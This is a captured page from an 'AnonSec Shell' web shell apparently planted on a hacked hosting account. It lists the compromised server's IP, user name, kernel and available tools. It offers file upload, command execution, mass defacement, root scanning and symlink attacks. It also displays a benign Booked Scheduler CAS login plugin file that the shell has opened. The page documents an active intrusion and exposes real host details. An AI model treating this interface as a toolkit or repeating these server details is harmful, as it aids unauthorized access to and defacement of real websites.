. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/plugins/Authentication/CAS/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/plugins/Authentication/CAS/CAS.php
<?php
/**
Copyright 2011-2014 Nick Korbel
Copyright 2013-2014 Bart Verheyde
Copyright 2013-2014 Bryan Green

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
 */

require_once(ROOT_DIR . 'lib/Application/Authentication/namespace.php');
require_once(ROOT_DIR . 'plugins/Authentication/CAS/namespace.php');

class CAS implements IAuthentication
{
	private $authToDecorate;
	private $registration;

	/**
	 * @var CASOptions
	 */
	private $options;

	/**
	 * @return Registration
	 */
	private function GetRegistration()
	{
		if ($this->registration == null)
		{
			$this->registration = new Registration();
		}

		return $this->registration;
	}

	public function __construct(Authentication $authentication)
	{
		$this->options = new CASOptions();
		$this->setCASSettings();
		$this->authToDecorate = $authentication;
	}

	private function setCASSettings()
	{
		if ($this->options->IsCasDebugOn())
		{
			phpCAS::setDebug($this->options->DebugFile());
		}
		phpCAS::client($this->options->CasVersion(), $this->options->HostName(), $this->options->Port(),
					   $this->options->ServerUri(), $this->options->ChangeSessionId());
		if ($this->options->CasHandlesLogouts())
		{
			phpCAS::handleLogoutRequests(true, $this->options->LogoutServers());
		}

		if ($this->options->HasCertificate())
		{
			phpCAS::setCasServerCACert($this->options->Certificate());
		}
		phpCAS::setNoCasServerValidation();
	}

	public function Validate($username, $password)
	{
		try
		{
			phpCAS::forceAuthentication();

		} catch (Exception $ex)
		{
			Log::Error('CAS exception: %s', $ex);
			return false;
		}
		return true;
	}

	public function Login($username, $loginContext)
	{
		Log::Debug('Attempting CAS login for username: %s', $username);

		$isAuth = phpCAS::isAuthenticated();
		Log::Debug('CAS is auth ok: %s', $isAuth);
		$username = phpCAS::getUser();
		$this->Synchronize($username);

		return $this->authToDecorate->Login($username, $loginContext);
	}

	public function Logout(UserSession $user)
	{
		Log::Debug('Attempting CAS logout for email: %s', $user->Email);
		$this->authToDecorate->Logout($user);

		if ($this->options->CasHandlesLogouts())
		{
			phpCAS::logout();
		}
	}

	public function AreCredentialsKnown()
	{
		return true;
	}

	public function HandleLoginFailure(IAuthenticationPage $loginPage)
	{
		$this->authToDecorate->HandleLoginFailure($loginPage);
	}

	public function ShowUsernamePrompt()
	{
		return false;
	}

	public function ShowPasswordPrompt()
	{
		return false;
	}

	public function ShowPersistLoginPrompt()
	{
		return false;
	}

	public function ShowForgotPasswordPrompt()
	{
		return false;
	}

	private function Synchronize($username)
	{
		$registration = $this->GetRegistration();

		$registration->Synchronize(
			new AuthenticatedUser(
				$username,
				$username . $this->options->EmailSuffix(),
				$username,
				$username,
				uniqid(),
				Configuration::Instance()->GetKey(ConfigKeys::LANGUAGE),
				Configuration::Instance()->GetDefaultTimezone(),
				null,
				null,
				null), true
		);
	}
}

?>

Anon7 - 2022
AnonSec Team